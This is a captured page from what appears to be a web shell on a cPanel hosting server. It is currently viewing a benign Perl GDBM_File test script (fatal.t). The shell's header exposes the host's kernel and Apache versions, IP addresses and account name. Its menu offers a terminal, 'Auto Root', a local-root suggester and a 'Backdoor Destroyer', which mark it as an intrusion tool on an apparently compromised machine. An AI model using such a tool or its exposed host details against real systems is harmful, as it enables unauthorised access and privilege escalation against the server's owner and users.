Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
ext /
GDBM_File /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
fatal.t
1.27
KB
-r--r--r--
2014-12-27 11:48
gdbm.t
132
B
-r--r--r--
2014-12-27 11:48
Save
Rename
#!./perl -w use strict; use Test::More; use Config; BEGIN { plan(skip_all => "GDBM_File was not built") unless $Config{extensions} =~ /\bGDBM_File\b/; # https://rt.perl.org/Public/Bug/Display.html?id=117967 plan(skip_all => "GDBM_File is flaky in $^O") if $^O =~ /darwin/; plan(tests => 8); use_ok('GDBM_File'); } unlink <Op_dbmx*>; open my $fh, $^X or die "Can't open $^X: $!"; my $fileno = fileno $fh; isnt($fileno, undef, "Can find next available file descriptor"); close $fh or die $!; is((open $fh, "<&=$fileno"), undef, "Check that we cannot open fileno $fileno. \$! is $!"); umask(0); my %h; isa_ok(tie(%h, 'GDBM_File', 'Op_dbmx', GDBM_WRCREAT, 0640), 'GDBM_File'); isnt((open $fh, "<&=$fileno"), undef, "dup fileno $fileno") or diag("\$! = $!"); isnt(close $fh, undef, "close fileno $fileno, out from underneath the GDBM_File"); is(eval { $h{Perl} = 'Rules'; untie %h; 1; }, undef, 'Trapped error when attempting to write to knobbled GDBM_File'); # Observed "File write error" and "lseek error" from two different systems. # So there might be more variants. Important part was that we trapped the error # via croak. like($@, qr/ at .*\bfatal\.t line \d+\.\n\z/, 'expected error message from GDBM_File'); unlink <Op_dbmx*>;